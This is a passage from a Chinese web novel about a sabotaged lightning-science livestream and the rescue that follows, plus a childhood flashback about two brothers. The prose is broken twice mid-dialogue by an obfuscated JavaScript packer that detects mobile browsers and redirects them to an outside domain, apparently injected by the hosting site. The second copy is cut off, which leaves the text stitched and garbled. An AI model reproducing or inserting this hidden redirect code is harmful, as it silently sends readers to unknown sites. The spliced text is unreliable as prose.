而就在下一秒,所有人都已经准备好,要全神贯注观摩这场「人造阿尔卑斯的灯塔」,情绪被无限放大至最高点时。 骤然灯光全部熄灭、画面一片漆黑。 群众就好像是乘坐着过山车即将抵达顶点时,却坠入无尽深渊般绝望。 “???” “???????????” “发生了什么?” “直播间被封了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861473|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不是,没有被封,把亮度调高还勉强看得到火箭升空。” “是节目效果吗?” “应该不是,你们看,天幕下的工作人员已经乱成一锅粥了。” “我操?” 刘昱本还捂着耳朵准备近距离欣赏大自然的奇迹,没想到却等来了这出。 他朝谢盛祈看了眼,只见对方撑起身子将相机往脖子上一挂就往前走去。 “哥,你去哪啊?” 此时的天幕下方,克里斯正扯着嗓子发出怒吼:“电源怎么关了?谁动了设备!” 场地设备在同一时间停摆。 所幸直播设备用的另一套电源,信号才没有中断。 但灯光、音响等用于解说的设备全都无法使用。 克里斯朝着现场的人扫视一眼,头发急躁得快要倒立起来。 就像是被人当场浇了一盆冰水般额头冒着汗珠。 “奥若拉,”克里斯焦急地小跑过来:“火箭已经升空了,电源还是找不到故障处,我们该怎么办?” 漆黑的夜幕下,许默紧锁眉头看向火箭升空的方向,被拉上天空的钢丝此时并没有任何引来雷电的迹象。 “比起那个,”许默轻声说:“钢丝上的问题更严重。” 确实。 被许默一说,克里斯也反应过来。 就算是突然停电了,她们的引雷火箭已经发射了,按照升空距离,应该早就引下了雷暴,但此时为何迟迟没有动静。 她以极快的速度扫视了一眼钢丝捆,飞速旋转的钢丝捆正在夜色下发出诡异的反光。 像是抛出了什么液体。 “是硅油!”克里斯惊叫一声,脸上的表情绷不住呐喊:“谁在钢丝上涂了硅油?!不对啊,这些材料发射前我看广太还在最后检查……” 绝缘液体涂钢丝表面,导致本用于导电的钢丝牵引不到雷电。 有人在故意给她们使绊子! 说到这里,她瞬间怔住,难以置信地看向广太。 只见对方快速躲闪了眼神。 “「阿尔卑斯的灯塔」呢?!” “一片漆黑看啥啊?” “这直播间是在戏耍我们吧,把我们当日本人整呢!” “就算是节目效果,这停顿也太久了吧!” 天幕下的许默并没有理会明显动了手脚的团队成员。 她几乎屏住了呼吸,思绪快速运转,思考着所有的可能性。 为什么总是有数不尽的坏人都在搞着破坏、在肆虐。 为什么总有人这么想看到她绝望的样子, 这场直播。 就像是个提前挖好的陷阱,为她精心准备的陷阱。 许默莫名感到一阵悲鸣。 并不仅仅是来自于这件事本身,而是源于整个赖以生存的基础和环境。 这整个世界,无处不充斥着恶棍、流氓和小丑。 就算她拼尽全力去奔跑,也甩不开他们。 他们……就这么想看她的笑话吗? ——绝不。 绝不会如他们所愿。 不远处传来脚步声。 微微侧头,看见谢盛祈正朝她走来。 许默抬脚,朝着迎面而来的谢盛祈走去。 “奥若拉,你去哪?”克里斯不知道对方这是要做什么。 她朝谢盛祈伸出了手。 夜色将她的脸庞渲染得几分悲戚。 “可以……借个火吗?”她突然问。 当然。 谢盛祈默契十足地取出随手把玩的纯银打火机,朝着她抛了过来。 许默在半空中准确接下抛来的打火机。 翻开盖子,大拇指滑动砂轮,一根拇指大小的火苗出现在直播间漆黑的屏幕中。 “嗯?有火光了?” “这星星点点的火光是要干嘛?” “???” 深吸一口气。 许默将点燃的打火机朝着引雷火箭牵引钢丝的方向狠狠抛去,乍隐乍现的火烛在半空中划出一个完美的抛物线。 尝试点燃所有不甘。 涂抹在钢丝上方的甘油接触到火苗,不过瞬间便传染开来。 一根火红燃烧的丝线直顶苍穹,几乎要将整片天空一分为二。 不过瞬息之间。 翻涌的雷云如同找到宣泄口般,被迫受到钢丝的牵引,寻找最近的地面源。 “轰——” 一声前所未有的轰鸣声出现在格伦希尔上空。 一道完全由雷暴构成的天柱从天际横冲直撞般插入这片荒土。 天幕下的人群仰望这片被闪电点亮的夜空,这便是大自然最原始、最暴烈的光辉,一座真正意义上的闪电灯塔。 那道将天空点燃如同白昼的——「阿尔卑斯的灯塔」。 17. 雷暴后 旋转扭曲的雷云如同受到牵引般,朝向钢丝牵引的方向涌动。 与雷暴相联系的低层辐合强度越来越大,并且变得更为深厚,雷暴还在不断地加强。 它汇聚成一柱雷光,垂直贯穿于天地之间,形成绵延数公里的光影。 与它同时亮起的,还有整个格伦希尔。 城镇的每一个角落都被雷光所照亮,隔着屏幕在众人的视网膜上烙着残影。 许默伫立在镜头下方,她的脸在电光中忽明忽暗。 她分明是在笑。 在厚重雷鸣中,她开口说着什么。 看口型,像是在说——烧吧。 「——THEEND——」 伴随着直播倒计时间到,屏幕中央出现结束字样的标语。 还未等人多作反应。 整个直播间便彻底黑屏了。 - “O!M!G!” “天呐,我看见了什么!是阿尔卑斯的灯塔!真的堪比神迹!” “!!!!!!” “下一场的直播是什么时候啊?!我要去关注他们研究所的官微。” “这一定是设计好的对不对!主播最后丢打火机的动作!我的天!谁懂啊!” “没看够!没看够!怎么这就结束了!” “还好我早有准备,整场直播我都录屏了,到时候我传到B站上去。” 漆黑一片的屏幕上,涌现出快要将整个屏幕塞满的弹幕。 每一个都因为情绪激动而出现大量的标点符号。 压抑了整整7个小时的情绪在瞬间点燃。 近五十万的观众用文字宣泄着亢奋。 “不是说好是科普直播吗?我怎么感觉像看到3D大片,这些雷暴当真不是特效吗?” “这场直播的主播是谁?我要她的全部资料,太飒了吧,帅死我算了!” “对对对,还有那最后递打火机的金毛,要帅晕了!” “7家军:777777——” “谢盛祈的微博更新了!大家快去看!” 谢盛祈那名为Seven的社交账号,久违地更新了一组照片。 那是以雷暴为主题的九宫格。 九宫格四周的图片,正是今天的这场「阿尔卑斯的灯塔」。 他拍摄雷暴的方式很独特,抓拍到雷暴恐怖的张力外,还渲染了一些特有的荒寂感,让人感觉是有读到照片背后故事的。 而九宫格中央,是一个女子的背影。 背景是肆意翻涌的雷云,还有那一把火烧上天的“天梯”。 除此之外,便是那标准东方美人的侧脸,在后方雷光的衬托下只能看见大概的轮廓。 女子那近乎完美的眉眼比,在火光和夜幕的衬托下,呈现出神秘又危险的错觉。 看过这场直播的人都知道。 这个背影、这个侧脸,来自许默。 配文只有短短8个字。 「极度理智下的疯狂」 - 研究所内。 已经将近晚上十一点,其他组的人几乎已经走光了。 只有许默她们组的人还死守在直播间前。 等到许默点燃那根钢丝,成功引下「阿尔卑斯的灯塔」时,所有人都开始放声狂呼。 “许默!他们成功了!” 李逸几乎是踩在凳子上,差点因为蹦太高而撞到天花板。 “我早说了吧,谁还敢在我面前说丧气话!” 整个组的男男女女脸上的表情各异,但无一不为这场迟来的胜利而庆幸。 除了组长本人。 黄组长的表情好看极了。 一边要演出为许默喝彩的兴奋模样,一边又要掩藏虚假表情下的咬牙切齿。 有种吃了屎却要硬要装出好吃的难受。 更要命的是,董事会的那位电话一直跟催命似的打。 他现在最不想接的就是对方的电话。 “今晚夜宵我请客,你们随便点!”黄组长和几名组员吹捧几句,还是捂着电话走进吸烟室。 一声喂还没唤出来,劈头盖脸地就是一顿输出。 “干什么吃的!为什么会变成这样子!”电话那头语气尖锐得像把刀,根本不给黄组长回话的机会,“不是你拍着胸脯说肯定没问题的吗?你要不要看看,现在热搜前几名都是啥!” 等对方喘口气的机会,黄组长才见缝插针回答几句:“陈董,你这也不能全怪我啊,在直播团队里安插的人,是你安排的又不是我。我只是安排了停电,你是怎么下的套你连我都没说,怎么还能怪上我来了。” “好啊,你个黄海洋!你给我等着,我要你好看!废物!!!” 黄组长根本来不及多说几句,电话便被对方挂断。 气得他对着吸烟室的板凳又是踹又是砸的。 玻璃窗外的研究员瞧见这幅场景,诧异问:“组长这是怎么了?” 李逸瞟了一眼,咂了咂嘴说:“喜极而泣了吧,别管他,吃夜宵去喽!” - 医院。 赵文昌老师目不转睛地盯着窗外,看着淅淅沥沥的小雨不知道在想些什么。 他的研究生在旁边削着苹果,直到手机屏幕上连续传来好几则消息,才脸色一变,冲到赵文昌面前叫道:“赵老师,师姐的直播结束了,她成功引下了「阿尔卑斯的灯塔」!” 赵文昌不动声色地侧过脸,看似责怪地说了对方一句:“毛毛躁躁”。 接过对方手中的苹果才说了句:“引下来就引下来了呗,有什么好惊奇的,她没受伤吧?” “没呢。” 男研究生兴奋地说着:“您是不知道,现在网络上全都在讨论这场直播,热度超过了以往研究所的任何宣发,师姐这次实在是太牛了。” 赵文昌垂下眼帘。 “知道啦,时候不早了,你也快回学校去吧。” “好,老师您也早点休息。” 等到对方离开后,赵文昌才小心翼翼取出手机,戴上老花眼镜,伸出右手食指一个字一个字在屏幕上缓慢地敲击。 「德音已闻,无须轸念。祝安!」 - 许默低头看着老师传回来的简讯。 读了好几遍,才重新将手机放回衣袋中。 “奥若拉!”克里斯雀跃地拉起许默又蹦又跳,“我们成功了——” 她那尖锐的声调,几乎要把整个格伦希尔给掀翻。 随着宣泄完电离子,雷云也开始消散。 只留下潺潺小雨,仿若先前毁天灭地的雷暴根本不是它的杰作。 “多亏了你!想到了把钢丝点燃,不然我们就被小人所害了。”克里斯像是突然想到什么,转头寻找广太的身影:“广太!你给我出来!” “广太人呢?!”克里斯气得大骂:“所有人注意,快把那不要脸的家伙找出来。” Joe身高马壮,提着一脸惊惶失措的广太走到两人跟前。 克里斯指着对方吼道:“你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊?”克里斯着急着问:“我请你喝酒好不啦?” Joe转过身不看她:“还是不行,有人可是说我手脚不干净呢。” 克里斯汗颜:“错了嘛,我真的错了,拜托——” 看着打闹着的两人,许默抿唇笑了笑。 这场艰难的直播,终于还是过去了。 不论结果是好是坏,至少她拼尽全力了。 转过身,刚准备去收拾工作台,瞧见谢盛祈正斜靠在天幕下方,似笑非笑地盯着自己,脖子上还挂着相机一晃一晃的。 她迎了过去,心情颇好地朝对方露出笑容。 “刚才,谢谢你了。” 谢盛祈耷拉着眼皮看向她说:“光一句谢谢就完事了?” 许默微微一愣:“那……你想怎样?” 谢盛祈的视线在她身上打了个圈,像是故意逗着她,含着笑说:“也不怎样,至少把借给你的东西还给我吧。” 许默转身在现场扫视了好几圈。 终于在不起眼的地方找到了已经变为废品的打火机残骸。 她摸了摸头,有些不好意思地说:“那个……你还要吗?要不我给你捡回来?” 谢盛祈笑得眼睛弯起来,他骤然抬头凝视着许默的眼睛。 “奥若拉,你还记得我们的Weltschmerz吗?” 18. 赛文的Weltschmerz^^…… 谢盛祈有着天生自由的灵魂。 从记事起,他就能在大人面前自由表达情感、畅所欲言自己的想法,愿意在未知下探索一切。 他珍视自由,不喜欢拘谨。 正因如此,他的内心才足够强大。 强大到,在7岁时,他便知道自己有个号称完美继承人的弟弟,自己处处都比不过对方,他也从未伤心。 强大到,在9岁时,就算他意识到这个家里只有他的姓氏和其他人不同,他也未曾难过。 因为他从小就知道,自出生起,他就是一个“投资失败”的残次品,是一颗弃子。 而弃子的生存法则,他早已总结并熟知。 第一,尽管花钱和闯祸。 第二,不去迎合人们的赞同。 第三,也是最重要的一点——永远保持幽默。 “谢盛祈!你穿的是什么东西?” 听见班主任口中发出的尖叫,谢盛祈心满意足地撩了一把一丝不苟的发型,双手揣兜大摇大摆走入班级走廊。 没有理会班级里同学的指指点点,谢盛祈大腿一抬,就跷着腿坐到教室最后一排。 气得班主任追进班里指着他的鼻子骂。 他根本无所谓。 这所谓的顶尖精英中学,培养的却是一群如同复制粘贴般的无聊人偶,一个个墨守成规、无趣至极。 他那布满铆钉的皮衣、破洞的牛仔裤,这不寻常的穿衣风格和发型,正好给他们带来些视觉冲击。 “下午回去赶紧给我换了,”班主任表情有些抓狂,“再让我看到你穿成这样,下次就让你家长来学校领人!” 班主任怒气滔滔,甩下一句话就母鸡回笼了。 谢盛祈撇了撇嘴,不明白班主任这般大惊小怪是为何。 他又不是没穿过更潮流的。 等班主任走后,一起打篮球的兄弟才围了上来。 “我操,兄弟。” “你这也太酷了吧,像个玩摇滚的。” “你怎么敢穿成这样来学校?也太敢了吧。” 谢盛祈并不觉得尴尬,抬头挺了挺胸,慢悠悠地回答:“这有啥不敢的,校规有哪一条禁止穿皮衣、梳背头吗?” 同学摸着头:“没倒是没有,但你瞧刚才班主任生气的模样,恐怕是凶多吉少。” “那又怎样?”谢盛祈瘪了瘪嘴,“我穿都穿来了,他还能让我脱了裸.奔不成。对了,你们要试试不?” “要!”“给我也试试。”“快看我穿上酷不酷!” 一群人新奇地围着他,可怜的皮衣外套不知道被同学间换着穿了多少回。 就连早读课上,皮衣外套都跟个“传国玉玺”似的,在班级里的课桌下传了个遍。 直到下课铃响起,皮衣才终于传回他的手中,表面被盘得油光水亮。 “走,打球去。” “走呗。” 谢盛祈把皮衣勾在手中,挂在背上就跟着一群打球的小伙伴前往体育场。 从二楼的年级走廊一路走过。 收获一个又一个同龄女生的惊叫和偷瞄。 他就像一阵无端闯入的风。 掀得人青葱躁动再难以保持安分守己。 等到一群人抵达篮球场时,其中一名同学指着泳池边转头说:“诶,谢盛祈,那不是你弟弟吗?” 谢盛祈顺着对方的示意望过去。 果然在泳池边缘,找到了弟弟常盛煜的身影。 常盛煜梳着乖巧的蘑菇头,精致得像个人偶。 穿着泳裤,蹲坐在角落里,手里还捧了本书在仔细阅读。 对方常年都是这副模样。 品学兼优、乖巧懂事的常盛煜,就连上体育课都忘不了学习。 谢盛祈咂了下嘴巴。 要是被家里人瞧见了,怕是又要一番表扬、称赞,外加数落自己两句。 “你弟弟……”身旁的人拍着篮球说道:“有些不合群啊,看样子没人愿意跟他玩。” 小孩嘛。 谁又愿意和智商远超于己的同龄人玩。 谢盛祈移回视线,“是在上体育课吧,别管他,发球吧。” 常盛煜从小就被作为继承人培养。 别说是在学校了,就算在家里也是全天候辅导老师一对一授课。 他之所以还停留在同龄人班级,不过是因为父亲联系上的那所瑞典的天才寄宿学校仍在审查资质。 或许等到下半年,常盛煜就会办理转学,步入和他们普通人完全不同的人生。 不同于跟死去已久的母亲姓的谢盛祈。 常盛煜从小就光环加身,自然是被“冠以父姓”。 和作为对照组的谢盛祈比起来,对方完全就是个中了基因彩票的存在。 如果非要给常盛煜背上挂上标签,那肯定会被“乖巧、懂事、顺从、聪明”等一系列词汇所挂满。 反正无一不是谢盛祈的反义词。 他们兄弟两人,在这种不刻意间营造的对比氛围、竞争环境下,天然地就产生不少疏离感。 谢盛祈和弟弟之间并不是太熟络,甚至算得上是客道。 就算在家里,两人也只是点头之交,少了些寻常亲兄弟之间的无拘。 运着球的谢盛祈余光莫名瞥见对方。 常盛煜或许是看书看累了、又或许是被外界打闹的氛围影响到了,此时正偷偷冒出小眼睛朝着练习游泳的同学瞟去。 哼。 什么完美继承人。 谢盛祈默念一句,分明就是个小孩,明明就想去玩,装什么小大人。 “谢盛祈,传球啊。” 队友一声呼唤才将他的意识拉回来,紧急躲过面前的防守,谢盛祈手腕翻动,将球传给了队友。 谢盛祈有意无意地将视线重新放回常盛煜身上。 正瞧见一名刚从泳池里爬出来的小朋友,小跑着朝向常盛煜蹲坐的方向而去。 常盛煜赶忙紧张地将眼睛重新埋回书本后方,重新扮回不在意的模样。 不过那紧紧抠起的十根脚趾,完全暴露了隐藏的想法。 然而,那名同班同学,错着常盛煜的位置就跑开了,原来是去捡掉落在远处的游泳圈。 随着对方再次小跑回泳池。 常盛煜紧紧抠起的脚趾重新松开,挺直的背脊像是灰心丧气地垂下几分。 小朋友再怎么会掩饰情绪,在年长的人眼中仍然一览无遗。 智商或许是来自天生,但情商就不一定了。 常盛煜是在为同学没邀请他一起玩而感到失落? 这小家伙…… 谢盛祈微微皱起眉头。 “接球啊,谢盛祈!” 一道呼唤声刚落,篮球带来的破空声从耳边响起。 谢盛祈伸出右手挡在侧脸,将传来的篮球紧紧扣在手心。 “不玩了。” 他将篮球往地上一拍,自顾走出球场。 “啊?”留下一群人面面相觑,“这就不玩了?半场都没打完呢。” 谢盛祈伸了个懒腰:“你们继续。” 几人无奈摊手。 显然对谢盛祈这有一出是一出的举动见怪不怪。 学校的泳池是高中部和初中部共用的。 因为学校同样也在培养专业运动员,设施很齐全,跳板跳台都有配备,只不过寻常体育课不开放。 等谢盛祈再次出现时,已经换上了泳裤站在最高的那处跳台上。 泳池下方的人群已经发出惊呼声。 “天呐,那个人要干嘛?站那么高。” “他怎么站在跳台上了!” “他不会是要跳水吧?但这也太高了,会受伤吧!” 泳池边的老师也 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泳池边的老师吹着哨子就吆喝了过来:“你们几个,哪个班的?!班主任是谁!” 篮球场里四处逃窜。 谢盛祈仰头感受了下温暖的阳光。 深深吸入一口气。 随着几个垫脚起跑的助力,他一个冲刺便从高台上跃了下来。 “我的天啊!” “啊——” “真跳下来了!” 他在半空中比画了个并不太标准的翻滚姿势,还没待人反应过来,就如同深海鱼雷般炸入了水中。 发出一声巨响。 溅起夸张的浪花。 ——0分。 泳池边的老师惊呆了,哪想他真敢跳。 挤着被浪花吓到四散逃离的人群朝泳池跑去。 然而直到水平面稳定了下来,也迟迟不见谢盛祈浮出水面。 “呀,他怎么没浮起来?” “不会是撞击力太大,晕过去了吧!” “快救人、快救人!” 尖叫声、哨子声、嘈杂声混为一谈。 就在所有人都屏息凝神,注视着那平静的水平面,以为刚跳入水的人再也不会浮出水面之时。 谢盛祈一个大脑袋不知道用了什么法子从泳池后方钻了出来。 大口地喘着气,脸上还挂着笑。 显然又是一场令人心跳漏掉半拍的恶作剧。 常盛煜全程惊呆了下巴,他紧张地攥着小手,直到瞧见哥哥终于从水中冒出头才缓缓舒了口气。 身旁的人都在捧腹大笑。 被对方这番作弄,笑得直不起腰。 常盛煜刚想重新坐回角落,却见哥哥好像正看向自己。 他将视线迎了上去。 只见谢盛祈朝着他,伸出食指在脸上划出一个代表笑容的弧线。 常盛煜脸上挂着几分错愕。 随即反应了过来,不再强掩自己的情绪,和同班同学一起放肆地发出笑声。 身边的同学拉住他说:“真的好好笑,瞧见他刚刚落水时的动作没?你快看他,现在还在扮鬼脸呢,体育老师的脸都气青了。” 常盛煜捂着肚子点了点头。 他知道,哥哥的那张鬼脸是扮给他看的。 同学转头问了句:“对了,常盛煜,我们刚才在比谁的泳得最像小狗,你要来一起玩吗?” 常盛煜瞳孔微微放大,他放下书本,强忍住内心的雀跃假装不经意地挠了挠头。 “好啊,可是我不会游。” “没事,我们教你好啦。” 说完对方拉着常盛煜的小手,一起跃进泳池。